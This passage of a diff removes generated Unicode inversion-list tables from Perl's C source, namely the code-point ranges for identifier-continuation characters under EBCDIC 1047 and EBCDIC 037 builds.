0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_IDCONT_invlist[] = { /* for EBCDIC 037 */ - 1413, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* 